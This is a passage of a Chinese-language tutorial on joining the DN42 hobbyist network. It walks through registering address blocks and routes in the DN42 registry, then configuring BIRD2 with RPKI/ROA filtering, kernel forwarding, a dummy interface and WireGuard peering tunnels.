&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: 管理员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: 技术人员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向上文&lt;strong&gt;创建维护者&lt;/strong&gt;一节中的文件名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;status&lt;/code&gt;: 状态，保存&lt;code&gt;ASSIGNED&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/inetnum/172.20.234.224_28&quot;&gt;&lt;code&gt;data/inetnum/172.20.234.224_28&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inetnum:            172.20.234.224 - 172.20.234.239
cidr:               172.20.234.224/28
netname:            IYOROYNET-DN42-V4
descr:              iYoRoy DN42 Network IPv4 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，在&lt;code&gt;data/route&lt;/code&gt;下同样创建一个名为IPv4地址块的 CIDR 格式，并使用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;的文件，填入内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route:              &amp;lt;IPv4地址CIDR格式&amp;gt;
origin:             &amp;lt;ASN&amp;gt;
max-length:         &amp;lt;IPv4掩码&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;route&lt;/code&gt;: IPv4地址块，填写CIDR格式，无需转换&lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;origin&lt;/code&gt;: ASN，需要带&lt;code&gt;AS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max-lenth&lt;/code&gt;: 前缀长度（Prefix Length），即CIDR格式中&lt;code&gt;/&lt;/code&gt;后面的数字&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向上文&lt;strong&gt;创建维护者&lt;/strong&gt;一节中的文件名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/route/172.20.234.224_28&quot;&gt;&lt;code&gt;data/route/172.20.234.224_28&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route:              172.20.234.224/28
origin:             AS4242422024
max-length:         28
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;注册IPv6地址块并添加路由&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;如果你不想要注册IPv6，可以忽略本节&lt;/em&gt;
同样使用官方工具检索可用IPv6：&lt;a href=&quot;https://explorer.burble.com/free#/6&quot;&gt;DN42 Free IPv6 Explorer &lt;/a&gt;。
选定地址块后在&lt;code&gt;data/inet6num&lt;/code&gt;下创建名为IPv6地址块的CIDR格式，并使用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;的文件（如：我的IPv6地址块为&lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;，则文件名&lt;code&gt;fd18:3e15:61d0::_48&lt;/code&gt;），填入内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inet6num:           &amp;lt;IPv6地址块第一个地址&amp;gt; - &amp;lt;IPv6地址块最后一个地址&amp;gt;
cidr:               &amp;lt;IPv6地址块CIDR格式&amp;gt;
netname:            &amp;lt;IPv6地址块名称&amp;gt;
descr:              &amp;lt;IPv6地址块描述&amp;gt;
country:            &amp;lt;IPv6地址块所属国家代码&amp;gt;
admin-c:            &amp;lt;管理员NIC句柄&amp;gt;
tech-c:             &amp;lt;技术人员NIC句柄&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inet6num&lt;/code&gt;: IPv6地址范围，从第一个地址到最后一个地址，不可使用&lt;code&gt;::&lt;/code&gt;简写，中间用&lt;code&gt;-&lt;/code&gt;连接。也就是说，比如我的地址块是&lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;，我需要填入&lt;code&gt;fd18:3e15:61d0:0000:0000:0000:0000:0000  - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cidr&lt;/code&gt;: IPv6地址块CIDR格式，&lt;strong&gt;不需要&lt;/strong&gt;用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netname&lt;/code&gt;: IPv6地址块名称，自行填写即可，无特殊要求&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: IPv6地址块描述，中间可以有空格&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country&lt;/code&gt;: &lt;a href=&quot;https://zh.wikipedia.org/wiki/ISO_3166&quot;&gt;ISO 3166&lt;/a&gt;中的两字符国家代码，中国就填&lt;code&gt;CN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: 管理员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: 技术人员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向上文&lt;strong&gt;创建维护者&lt;/strong&gt;一节中的文件名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;status&lt;/code&gt;: 状态，保存&lt;code&gt;ASSIGNED&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/inet6num/fd18:3e15:61d0::_48&quot;&gt;&lt;code&gt;data/inet6num/fd18:3e15:61d0::_48&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inet6num:           fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff
cidr:               fd18:3e15:61d0::/48
netname:            IYOROYNET-DN42-V6
descr:              iYoRoy DN42 Network IPv6 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，在&lt;code&gt;data/route6&lt;/code&gt;下同样创建一个名为IPv6地址块的 CIDR 格式，并使用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;的文件，填入内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route6:             &amp;lt;IPv6地址CIDR格式&amp;gt;
origin:             &amp;lt;ASN&amp;gt;
max-length:         &amp;lt;IPv6掩码&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;route6&lt;/code&gt;: IPv6地址块，填写CIDR格式，无需转换&lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;origin&lt;/code&gt;: ASN，需要带&lt;code&gt;AS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max-lenth&lt;/code&gt;: 前缀长度（Prefix Length），即CIDR格式中&lt;code&gt;/&lt;/code&gt;后面的数字&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向上文&lt;strong&gt;创建维护者&lt;/strong&gt;一节中的文件名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/route6/fd18:3e15:61d0::_48&quot;&gt;&lt;code&gt;data/route6/fd18:3e15:61d0::_48&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route6:             fd18:3e15:61d0::/48
origin:             AS4242422024
max-length:         48
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建并上传commit，提交PR&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;最好使用GPG签名你的commit并且在dn42 git里上传你的公钥&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;填完上述信息，回到仓库根目录下，运行脚本&lt;code&gt;./fmt-my-stuff &amp;lt;维护者&amp;gt;&lt;/code&gt;自动格式化配置文件。注意：此处&lt;code&gt;&amp;lt;维护者&amp;gt;&lt;/code&gt;是上文&lt;strong&gt;注册维护者&lt;/strong&gt;章节中的&lt;code&gt;mntner&lt;/code&gt;的值。接着按照正常git commit流程&lt;code&gt;git add data/&lt;/code&gt;、&lt;code&gt;git commit -S -m &quot;&amp;lt;commit-msg&amp;gt;&quot;&lt;/code&gt;创建commit，&lt;code&gt;git push origin master&lt;/code&gt;推送，接着，来到dn42 git网页端，打开你Fork的仓库并提交Pull Request即可。&lt;br /&gt;
如果配置有问题，自动审查机器人和管理员会告知你，请耐心按照要求修改并且&lt;strong&gt;合并到原来的commit中，不要新开commit&lt;/strong&gt;，推荐add后使用&lt;code&gt;git commit --amend&lt;/code&gt;指令。修改完&lt;strong&gt;直接强制推送（&lt;code&gt;git push origin master --force&lt;/code&gt;）&lt;/strong&gt; 即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DN42 Registry 的工作语言是英语。请使用英语完成全部流程，以免出现不必要的麻烦。&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;配置Bird&lt;/h1&gt;
&lt;p&gt;首先安装bird，以Ubuntu22.04为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install bird2 -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果要一并安装后续使用的WireGuard，就再加上&lt;code&gt;wireguard&lt;/code&gt;、&lt;code&gt;wireguard-tools&lt;/code&gt;软件包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install bird2 wireguard wireguard-tools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编写配置文件&lt;/h2&gt;
&lt;h3&gt;bird.conf&lt;/h3&gt;
&lt;p&gt;修改&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define OWNAS       = &amp;lt;AS 号&amp;gt;;
define OWNIP       = &amp;lt;DN42 IPv4 地址&amp;gt;;
define OWNIPv6     = &amp;lt;DN42 IPv6 地址&amp;gt;;
define OWNNET      = &amp;lt;DN42 IPv4 地址块, CIDR 格式&amp;gt;;
define OWNNETv6    = &amp;lt;DN42 IPv6 地址块, CIDR 格式&amp;gt;;
define OWNNETSET   = [ &amp;lt;DN42 IPv4 地址块, CIDR 格式&amp;gt;+ ];
define OWNNETSETv6 = [ &amp;lt;DN42 IPv6 地址块, CIDR 格式&amp;gt;+ ];

router id OWNIP;

protocol device {
    scan time 10;
}

function is_self_net() {
    return net ~ OWNNETSET;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

function is_valid_network() {
    return net ~ [
        172.20.0.0/14{21,29}, # dn42
        172.20.0.0/24{28,32}, # dn42 Anycast
        172.21.0.0/24{28,32}, # dn42 Anycast
        172.22.0.0/24{28,32}, # dn42 Anycast
        172.23.0.0/24{28,32}, # dn42 Anycast
        172.31.0.0/16+,       # ChaosVPN
        10.100.0.0/14+,       # ChaosVPN
        10.127.0.0/16{16,32}, # neonetwork
        10.0.0.0/8{15,24}     # Freifunk.net
    ];
}

function is_valid_network_v6() {
  return net ~ [
    fd00::/8{44,64} # ULA address space as per RFC 4193
  ];
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol kernel {
    scan time 20;

    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIP;
            accept;
        };
    };
}

protocol static {
    route OWNNET reject;

    ipv4 {
        import all;
        export none;
    };
}

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

include &quot;rpki.conf&quot;;
include &quot;ebgp.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处&lt;code&gt;OWNIP&lt;/code&gt;和&lt;code&gt;OWNIPV6&lt;/code&gt;参数意为本机的DN42 IPv4和IPv6地址，&lt;strong&gt;不是地址块的地址&lt;/strong&gt;，比如我申请到的地址段是172.20.234.224/28，我给A机器分配了172.20.234.225，则&lt;code&gt;OWNIP&lt;/code&gt;为172.20.234.225，IPv6同理。&lt;/p&gt;
&lt;h3&gt;rpki.conf&lt;/h3&gt;
&lt;p&gt;你可能在其他教程里看到过使用定时任务+重载Bird的更新ROA方案，此处配置RPKI则是另一种配置ROA的方式。&lt;/p&gt;
&lt;p&gt;创建&lt;code&gt;/etc/bird/rpki.conf&lt;/code&gt;，填写如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote &quot;&amp;lt;rpki服务器地址&amp;gt;&quot; port 8082; # change it
    refresh 30;
    retry 5;
    expire 600;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RPKI服务器可以使用我朋友的AkaereIX提供的服务：&lt;code&gt;rpki.akae.re&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote &quot;rpki.akae.re&quot; port 8082;
    refresh 30;
    retry 5;
    expire 600;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ebgp.conf&lt;/h3&gt;
&lt;p&gt;创建&lt;code&gt;/etc/bird/ebgp.conf&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() &amp;amp;&amp;amp; !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };

        export filter {
            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };

    ipv6 {
        import filter {
            if is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6() then {
                if (roa_check(dn42_roa_v6, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };
        export filter {
            if is_valid_network_v6() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };
}


include &quot;peers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此配置项定义了DN42内部互相peer的模板，并且引用&lt;code&gt;/etc/bird/peers&lt;/code&gt;下的所有配置文件，之后我们peer的时候就只需要在这里按照模板创建配置文件并编写即可。&lt;/p&gt;
&lt;p&gt;创建&lt;code&gt;/etc/bird/peers&lt;/code&gt;文件夹用作后续peer。&lt;/p&gt;
&lt;h1&gt;系统配置&lt;/h1&gt;
&lt;h2&gt;内核&lt;/h2&gt;
&lt;p&gt;因为每个节点都可能会作为其他节点的路由器使用，因此需要打开Linux内核数据包转发；同时因为使用了WireGuard，并不是通过物理网卡转发，因此需要关闭&lt;code&gt;rp_filter&lt;/code&gt;严格模式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;net.ipv4.ip_forward=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.default.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.all.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.default.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.all.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
sysctl -p
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DN42虚拟网卡&lt;/h2&gt;
&lt;p&gt;因为MP-BGP通常使用LLA地址建立BGP，因此我们需要在系统里设置一个dummy网卡并绑定我们给这台机器分配的DN42 IP。运行以下指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dn42 type dummy
ip addr add &amp;lt;你给这这台机器分配的DN42 IPv4&amp;gt; dev dn42
ip addr add &amp;lt;你给这这台机器分配的DN42 IPv6&amp;gt; dev dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果需要持久化配置，可以参考以下三种方式：&lt;/p&gt;
&lt;h3&gt;systemd-networkd&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee /etc/systemd/network/10-dn42.netdev &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
[NetDev]
Name=dn42
Kind=dummy
EOF

tee /etc/systemd/network/20-dn42.network &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
[Match]
Name=dn42

[Network]
Address=&amp;lt;你给这台机器分配的DN42 IPv4&amp;gt;/32
Address=&amp;lt;你给这台机器分配的DN42 IPv6&amp;gt;/128
EOF

systemctl enable systemd-networkd
systemctl restart systemd-networkd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;netplan&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee /etc/netplan/99-dn42.yaml &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
network:
  version: 2
  renderer: networkd
  ethernets:
    dn42:
      match:
        name: dn42
      addresses:
        - &amp;lt;你给这台机器分配的DN42 IPv4&amp;gt;/32
        - &quot;&amp;lt;你给这台机器分配的DN42 IPv6&amp;gt;/128&quot;
      accept-ra: no
EOF

netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/etc/network/interfaces&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee -a /etc/network/interfaces &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
auto dn42
iface dn42 inet static
    address &amp;lt;你给这台机器分配的DN42 IPv4&amp;gt;
    netmask 255.255.255.255

iface dn42 inet6 static
    address &amp;lt;你给这台机器分配的DN42 IPv6&amp;gt;/128
EOF

ifup dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;与其他成员Peer&lt;/h1&gt;
&lt;p&gt;对新手较友好的应该就是Potat0大佬的自助Peer服务了，详情可参考他的&lt;a href=&quot;https://dn42.potat0.cc/&quot;&gt;DN42 Network&lt;/a&gt;页面。按照指引找到他的&lt;a href=&quot;https://t.me/Potat0_DN42_Bot&quot;&gt;自动对等连接机器人&lt;/a&gt;，按照要求在机器人上注册你的账号，需要提供你的DN42 ASN、上文注册时Maintainer里记录的邮箱（这也是为什么在注册的时候最好需要填邮箱，很多验证服务都会使用），并且用该邮箱接收验证码，然后按照机器人的要求建立peer即可。以下是我通过Bot建立peer的过程，全程使用Ubuntu22.04系统的香港VPS操作。&lt;/p&gt;
&lt;h2&gt;安装WireGuard&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;apt install wireguard wireguard-tools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注：现在的软件包管理一般会在安装&lt;code&gt;wireguard&lt;/code&gt;的时候自动安装&lt;code&gt;wireguard-tools&lt;/code&gt;以使用&lt;code&gt;wg-quick&lt;/code&gt;指令。&lt;/p&gt;
&lt;h2&gt;生成密钥对&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;wg genkey | tee privatekey | wg pubkey &amp;gt; publickey
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记下privatekey、publickey中的内容，代表私钥和公钥&lt;/p&gt;
&lt;h2&gt;建立Peer&lt;/h2&gt;
&lt;p&gt;一般而言有两种建立Peer的模式，即使用MP-BGP（Multiprotocol BGP，多协议BGP）和不使用MP-BGP。个人感觉MP-BGP更为常用，因为其配置较为简单。两种配置稍有不同，请根据你的需求参考。&lt;/p&gt;
&lt;h3&gt;使用MP-BGP&lt;/h3&gt;
&lt;h4&gt;与Peer对方交换信息&lt;/h4&gt;
&lt;p&gt;你需要提供对方以下信息，同时你也需要知道对方的以下信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公钥&lt;/li&gt;
&lt;li&gt;公网地址（非DN42地址）&lt;/li&gt;
&lt;li&gt;公网WireGuard端口，一般是监听对方ASN的&lt;strong&gt;后5位&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;DN42 ASN&lt;/li&gt;
&lt;li&gt;LLA（Link-Local Address）地址，一般而言是&lt;code&gt;fe80::&amp;lt;对方ASN后4位&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否支持ENH(Extended Next Hop)，注意，若使用v6交换路由而不启用ENH则无法交换v4路由&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也有时会将公网地址和公网wg端口放在一起称作Endpoint。&lt;/p&gt;
&lt;h4&gt;配置WireGuard&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/etc/wireguard&lt;/code&gt;下创建一个配置文件，名称随意，但是我的命名习惯是&lt;code&gt;dn42-&amp;lt;对方ASN后4位&amp;gt;.conf&lt;/code&gt;，其中&lt;code&gt;dn42-xxxx&lt;/code&gt;即为隧道名。往文件内填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;上文「生成密钥对」章节生成的私钥&amp;gt;
ListenPort = &amp;lt;公网WireGuard监听端口&amp;gt;
Table = off
Address = &amp;lt;你的LLA地址&amp;gt;/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;对方给你的公钥&amp;gt;
Endpoint = &amp;lt;对方的Endpoint，即IP:端口&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑完成后保存，运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wg-quick up &amp;lt;隧道名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可启动wg隧道。使用&lt;code&gt;wg show &amp;lt;隧道名&amp;gt;&lt;/code&gt;即可查看连接状态。直接运行&lt;code&gt;wg&lt;/code&gt;可查看所有隧道状态&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/06/3182084238.png&quot; alt=&quot;12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果需要让隧道开机自启动，可以运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable wg-quick@&amp;lt;隧道名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;配置Bird2的Peer部分&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/etc/bird/peers&lt;/code&gt;下新建文件&lt;code&gt;&amp;lt;名称&amp;gt;.conf&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;BGP会话名称&amp;gt; from dnpeers{
    neighbor &amp;lt;对方LLA地址&amp;gt; % &apos;&amp;lt;WireGuard隧道名&amp;gt;&apos; as &amp;lt;对方ASN，不带AS前缀&amp;gt;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果使用使用了Extended next hop（如上图交换信息时协商的），则配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;BGP会话名称&amp;gt; from dnpeers{
    neighbor &amp;lt;对方LLA地址&amp;gt; % &apos;&amp;lt;WireGuard隧道名&amp;gt;&apos; as &amp;lt;对方ASN，不带AS前缀&amp;gt;;
    ipv4{
        extended next hop;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;应用配置&lt;/h4&gt;
&lt;p&gt;运行&lt;code&gt;birdc configure&lt;/code&gt;（或者&lt;code&gt;birdc c&lt;/code&gt;，等同）重载Bird配置，然后运行&lt;code&gt;birdc show protocols&lt;/code&gt;（或者&lt;code&gt;birdc s p&lt;/code&gt;，等同）即可查看当前建立的BGP连接。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@hkg2-202501092021514df2f0:~# birdc show protocols
BIRD 2.0.12 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     07:24:14.255  
static1    Static     dn42_roa   up     07:24:14.255  
static2    Static     dn42_roa_v6 up     07:24:14.255  
kernel1    Kernel     master6    up     07:24:14.255  
kernel2    Kernel     master4    up     07:24:14.255  
static3    Static     master4    up     07:24:14.255  
static4    Static     master6    up     07:24:14.255  
dn42-0298  BGP        ---        up     08:03:13.347  Established   
dn42-1816  BGP        ---        up     07:53:05.028  Established
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;不使用MP-BGP&lt;/h3&gt;
&lt;h4&gt;与Peer对方交换信息&lt;/h4&gt;
&lt;p&gt;你需要提供对方以下信息，同时你也需要知道对方的以下信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公钥&lt;/li&gt;
&lt;li&gt;公网地址（非DN42地址）&lt;/li&gt;
&lt;li&gt;公网WireGuard端口，一般是监听对方ASN的&lt;strong&gt;后5位&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;DN42 ASN&lt;/li&gt;
&lt;li&gt;DN42 IP，如果交换IPv4路由则需要IPv4地址，如果交换IPv6路由则需要IPv6地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也有时会将公网地址和公网wg端口放在一起称作Endpoint。&lt;/p&gt;
&lt;h4&gt;配置WireGuard&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/etc/wireguard&lt;/code&gt;下创建一个配置文件，名称随意，但是我的命名习惯是&lt;code&gt;dn42-&amp;lt;对方ASN后4位&amp;gt;.conf&lt;/code&gt;，其中&lt;code&gt;dn42-xxxx&lt;/code&gt;即为隧道名。往文件内填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;上文「生成密钥对」章节生成的私钥&amp;gt;
ListenPort = &amp;lt;公网WireGuard监听端口&amp;gt;
Table = off
PostUp = ip addr add &amp;lt;LLA&amp;gt;/64 dev %i
PostUp = ip addr add &amp;lt;本地DN42 IPv6&amp;gt; dev %i
PostUp = ip addr add &amp;lt;本地DN42 IPv4&amp;gt; peer &amp;lt;对方DN42 IPv4&amp;gt; dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;对方给你的公钥&amp;gt;
Endpoint = &amp;lt;对方的Endpoint，即IP:端口&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑完成后保存，运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wg-quick up &amp;lt;隧道名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可启动wg隧道。使用&lt;code&gt;wg show &amp;lt;隧道名&amp;gt;&lt;/code&gt;即可查看连接状态。直接运行&lt;code&gt;wg&lt;/code&gt;可查看所有隧道状态&lt;/p&gt;
